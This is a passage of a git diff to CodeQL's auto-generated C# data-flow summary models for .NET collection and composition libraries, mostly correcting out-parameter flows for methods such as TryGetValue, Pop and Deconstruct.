"Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "UnionWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "get_Max", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "get_Min", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] @@ -372,8 +350,8 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].Element", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] @@ -385,11 +363,12 @@ extensions: - ["System.Collections.Immutable", "ImmutableStack", False, "Create", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "(System.Collections.Immutable.IImmutableStack,T)", "", "Argument[0].Element", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "(System.Collections.Immutable.IImmutableStack,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableStack+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Peek", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "Argument[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Pop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Push", "(T)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._head]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableStack", False, "Push", "(T)", "", "Argument[this]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableStack`1._tail]", "value", "dfc-generated"] @@ -525,6 +504,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "Remove", "(TKey)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "RemoveRange", "(System.Collections.Generic.IEnumerable)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "ToImmutable", "()", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "TryGetValue", "(TKey,TValue)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "get_Count", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "get_IsFixedSize", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Builder", "get_IsReadOnly", "()", "summary", "df-generated"] @@ -539,6 +519,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary", "Remove", "(System.Collections.Generic.KeyValuePair)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", "Remove", "(System.Object)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", "Remove", "(TKey)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", "TryGetValue", "(TKey,TValue)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", "get_Count", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", "get_IsEmpty", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", "get_IsFixedSize", "()", "summary", "df-generated"] @@ -582,6 +563,18 @@ extensions: - ["System.Collections.Immutable", "ImmutableHashSet", "get_IsEmpty", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", "get_IsReadOnly", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", "get_IsSynchronized", "()", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "Enqueue", "(System.Collections.Immutable.ImmutableQueue,T)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "InterlockedCompareExchange", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "InterlockedExchange", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "InterlockedInitialize", "(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "Push", "(System.Collections.Immutable.ImmutableStack,T)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "TryAdd", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "TryDequeue", "(System.Collections.Immutable.ImmutableQueue,T)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "TryPop", "(System.Collections.Immutable.ImmutableStack,T)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "TryRemove", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "TryUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,TValue)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "Update", "(System.Collections.Immutable.ImmutableArray,System.Func,System.Collections.Immutable.ImmutableArray>)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableInterlocked", "Update", "(T,System.Func)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", "Create", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", "CreateBuilder", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", "IndexOf", "(System.Collections.Immutable.IImmutableList,T)", "summary", "df-generated"] @@ -679,6 +672,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "Remove", "(TKey)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "RemoveRange", "(System.Collections.Generic.IEnumerable)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "ToImmutable", "()", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "TryGetValue", "(TKey,TValue)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "ValueRef", "(TKey)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "get_Count", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary+Builder", "get_IsFixedSize", "()", "summary", "df-generated"] @@ -694,6 +688,7 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", "Remove", "(System.Collections.Generic.KeyValuePair)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", "Remove", "(System.Object)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", "Remove", "(TKey)", "summary", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", "TryGetValue", "(TKey,TValue)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", "ValueRef", "(TKey)", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", "get_Count", "()", "summary", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", "get_IsEmpty", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.ObjectModel.model.yml b/csharp/ql/lib/ext/generated/System.Collections.ObjectModel.model.yml index f201af698cf..3929a6f55eb 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.ObjectModel.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.ObjectModel.model.yml @@ -11,8 +11,7 @@ extensions: - ["System.Collections.ObjectModel", "Collection", True, "InsertItem", "(System.Int32,T)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "Collection", True, "SetItem", "(System.Int32,T)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.ObjectModel", "KeyedCollection", False, "KeyedCollection", "(System.Collections.Generic.IEqualityComparer,System.Int32)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer]", "value", "dfc-generated"] - - ["System.Collections.ObjectModel", "KeyedCollection", False, "TryGetValue", "(TKey,TItem)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.ObjectModel", "KeyedCollection", False, "TryGetValue", "(TKey,TItem)", "", "Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.ObjectModel", "KeyedCollection", False, "TryGetValue", "(TKey,TItem)", "", "Argument[this].Property[System.Collections.ObjectModel.Collection`1.Items].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "KeyedCollection", False, "get_Comparer", "()", "", "Argument[this].SyntheticField[System.Collections.ObjectModel.KeyedCollection`2.comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "KeyedCollection", False, "get_Dictionary", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyCollection", False, "CreateCollection", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -20,7 +19,6 @@ extensions: - ["System.Collections.ObjectModel", "ReadOnlyCollection", False, "ReadOnlyCollection", "(System.Collections.Generic.IList)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.ObjectModel.ReadOnlyCollection`1.list]", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "ReadOnlyCollection", False, "get_Items", "()", "", "Argument[this].SyntheticField[System.Collections.ObjectModel.ReadOnlyCollection`1.list]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "ReadOnlyCollection", False, "get_SyncRoot", "()", "", "Argument[this].SyntheticField[System.Collections.ObjectModel.ReadOnlyCollection`1.list].Property[System.Collections.ICollection.SyncRoot]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.ObjectModel", "ReadOnlyDictionary", False, "TryGetValue", "(TKey,TValue)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", False, "get_Dictionary", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlySet", False, "ReadOnlySet", "(System.Collections.Generic.ISet)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.ObjectModel.ReadOnlySet`1._set]", "value", "dfc-generated"] - ["System.Collections.ObjectModel", "ReadOnlySet", False, "get_Set", "()", "", "Argument[this].SyntheticField[System.Collections.ObjectModel.ReadOnlySet`1._set]", "ReturnValue", "value", "dfc-generated"] @@ -95,6 +93,7 @@ extensions: - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "Remove", "(System.Collections.Generic.KeyValuePair)", "summary", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "Remove", "(System.Object)", "summary", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "Remove", "(TKey)", "summary", "df-generated"] + - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "TryGetValue", "(TKey,TValue)", "summary", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "get_Count", "()", "summary", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "get_Empty", "()", "summary", "df-generated"] - ["System.Collections.ObjectModel", "ReadOnlyDictionary", "get_IsFixedSize", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.model.yml b/csharp/ql/lib/ext/generated/System.Collections.model.yml index 1d91a7122d1..a8bb9e228d7 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.model.yml @@ -32,7 +32,8 @@ extensions: - ["System.Collections", "DictionaryBase", False, "get_Dictionary", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections", "DictionaryBase", False, "get_SyncRoot", "()", "", "Argument[this].Property[System.Collections.DictionaryBase.InnerHashtable].Property[System.Collections.Hashtable.SyncRoot]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections", "DictionaryBase", True, "OnGet", "(System.Object,System.Object)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections", "DictionaryEntry", False, "Deconstruct", "(System.Object,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections", "DictionaryEntry", False, "Deconstruct", "(System.Object,System.Object)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Collections", "DictionaryEntry", False, "Deconstruct", "(System.Object,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections", "DictionaryEntry", False, "DictionaryEntry", "(System.Object,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections", "DictionaryEntry", False, "DictionaryEntry", "(System.Object,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections", "Hashtable", False, "Hashtable", "(System.Int32,System.Single,System.Collections.IEqualityComparer)", "", "Argument[2]", "Argument[this].SyntheticField[System.Collections.Hashtable._keycomparer]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.Hosting.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.Hosting.model.yml index 696919b57fc..609d0a062b1 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.Hosting.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.Hosting.model.yml @@ -27,8 +27,8 @@ extensions: - ["System.ComponentModel.Composition.Hosting", "AssemblyCatalog", False, "get_DisplayName", "()", "", "Argument[this].Property[System.ComponentModel.Composition.Hosting.AssemblyCatalog.Assembly].Property[System.Reflection.Assembly.FullName]", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel.Composition.Hosting", "AssemblyCatalog", False, "get_DisplayName", "()", "", "Argument[this].SyntheticField[System.ComponentModel.Composition.Hosting.AssemblyCatalog._assembly].Property[System.Reflection.Assembly.FullName]", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel.Composition.Hosting", "AtomicComposition", False, "AtomicComposition", "(System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.ComponentModel.Composition.Hosting", "AtomicComposition", False, "TryGetValue", "(System.Object,System.Boolean,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel.Composition.Hosting", "AtomicComposition", False, "TryGetValue", "(System.Object,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel.Composition.Hosting", "AtomicComposition", False, "TryGetValue", "(System.Object,System.Boolean,T)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] + - ["System.ComponentModel.Composition.Hosting", "AtomicComposition", False, "TryGetValue", "(System.Object,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "CatalogExportProvider", False, "CatalogExportProvider", "(System.ComponentModel.Composition.Primitives.ComposablePartCatalog,System.ComponentModel.Composition.Hosting.CompositionOptions)", "", "Argument[0]", "Argument[this].SyntheticField[System.ComponentModel.Composition.Hosting.CatalogExportProvider._catalog]", "value", "dfc-generated"] - ["System.ComponentModel.Composition.Hosting", "CatalogExportProvider", False, "get_Catalog", "()", "", "Argument[this].SyntheticField[System.ComponentModel.Composition.Hosting.CatalogExportProvider._catalog]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel.Composition.Hosting", "CatalogExtensions", False, "CreateCompositionService", "(System.ComponentModel.Composition.Primitives.ComposablePartCatalog)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] @@ -88,7 +88,7 @@ extensions: - ["System.ComponentModel.Composition.Hosting", "ExportProvider", False, "GetExports", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "ExportProvider", False, "GetExports", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "ExportProvider", False, "TryGetExports", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition,System.Collections.Generic.IEnumerable)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.ComponentModel.Composition.Hosting", "ExportProvider", False, "TryGetExports", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition,System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel.Composition.Hosting", "ExportProvider", False, "TryGetExports", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition,System.Collections.Generic.IEnumerable)", "", "Argument[this]", "Argument[2].Element", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "ExportProvider", True, "GetExportsCore", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "ExportProvider", True, "GetExportsCore", "(System.ComponentModel.Composition.Primitives.ImportDefinition,System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.Composition.Hosting", "ExportsChangeEventArgs", False, "ExportsChangeEventArgs", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEnumerable,System.ComponentModel.Composition.Hosting.AtomicComposition)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.ComponentModel.Composition.Hosting.ExportsChangeEventArgs._addedExports].Element", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.ReflectionModel.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.ReflectionModel.model.yml index 28167ef8f89..997e5b8d762 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.ReflectionModel.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.Composition.ReflectionModel.model.yml @@ -28,7 +28,7 @@ extensions: - ["System.ComponentModel.Composition.ReflectionModel", "ReflectionModelServices", False, "GetImportingMember", "(System.ComponentModel.Composition.Primitives.ImportDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.Composition.ReflectionModel", "ReflectionModelServices", False, "GetImportingParameter", "(System.ComponentModel.Composition.Primitives.ImportDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.Composition.ReflectionModel", "ReflectionModelServices", False, "GetPartType", "(System.ComponentModel.Composition.Primitives.ComposablePartDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel.Composition.ReflectionModel", "ReflectionModelServices", False, "TryMakeGenericPartDefinition", "(System.ComponentModel.Composition.Primitives.ComposablePartDefinition,System.Collections.Generic.IEnumerable,System.ComponentModel.Composition.Primitives.ComposablePartDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel.Composition.ReflectionModel", "ReflectionModelServices", False, "TryMakeGenericPartDefinition", "(System.ComponentModel.Composition.Primitives.ComposablePartDefinition,System.Collections.Generic.IEnumerable,System.ComponentModel.Composition.Primitives.ComposablePartDefinition)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml index 31743004723..06563c58f57 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml @@ -9,7 +9,7 @@ extensions: - ["System.Composition.Hosting.Core", "CompositionContract", False, "CompositionContract", "(System.Type,System.String,System.Collections.Generic.IDictionary)", "", "Argument[1]", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "CompositionContract", False, "CompositionContract", "(System.Type,System.String,System.Collections.Generic.IDictionary)", "", "Argument[2]", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._metadataConstraints]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "CompositionContract", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition.Hosting.Core", "CompositionContract", False, "TryUnwrapMetadataConstraint", "(System.String,T,System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "value", "dfc-generated"] + - ["System.Composition.Hosting.Core", "CompositionContract", False, "TryUnwrapMetadataConstraint", "(System.String,T,System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "Argument[2].SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "CompositionContract", False, "get_ContractName", "()", "", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._contractName]", "ReturnValue", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "CompositionContract", False, "get_MetadataConstraints", "()", "", "Argument[this].SyntheticField[System.Composition.Hosting.Core.CompositionContract._metadataConstraints]", "ReturnValue", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "CompositionDependency", False, "Missing", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionDependency._contract]", "value", "dfc-generated"] @@ -28,8 +28,8 @@ extensions: - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "ResolveDependencies", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "ResolveRequiredDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionDependency._site]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "ResolveRequiredDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionDependency._contract]", "value", "dfc-generated"] - - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "TryResolveOptionalDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean,System.Composition.Hosting.Core.CompositionDependency)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionDependency._site]", "value", "dfc-generated"] - - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "TryResolveOptionalDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean,System.Composition.Hosting.Core.CompositionDependency)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.CompositionDependency._contract]", "value", "dfc-generated"] + - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "TryResolveOptionalDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean,System.Composition.Hosting.Core.CompositionDependency)", "", "Argument[0]", "Argument[3].SyntheticField[System.Composition.Hosting.Core.CompositionDependency._site]", "value", "dfc-generated"] + - ["System.Composition.Hosting.Core", "DependencyAccessor", False, "TryResolveOptionalDependency", "(System.Object,System.Composition.Hosting.Core.CompositionContract,System.Boolean,System.Composition.Hosting.Core.CompositionDependency)", "", "Argument[1]", "Argument[3].SyntheticField[System.Composition.Hosting.Core.CompositionDependency._contract]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "DependencyAccessor", True, "GetPromises", "(System.Composition.Hosting.Core.CompositionContract)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "ExportDescriptor", False, "Create", "(System.Composition.Hosting.Core.CompositeActivator,System.Collections.Generic.IDictionary)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.DirectExportDescriptor._activator]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "ExportDescriptor", False, "Create", "(System.Composition.Hosting.Core.CompositeActivator,System.Collections.Generic.IDictionary)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Composition.Hosting.Core.DirectExportDescriptor._metadata]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Composition.model.yml b/csharp/ql/lib/ext/generated/System.Composition.model.yml index 06147b3a3cd..a9f25ed2b81 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.model.yml @@ -13,11 +13,11 @@ extensions: - ["System.Composition", "CompositionContext", False, "GetExports", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, 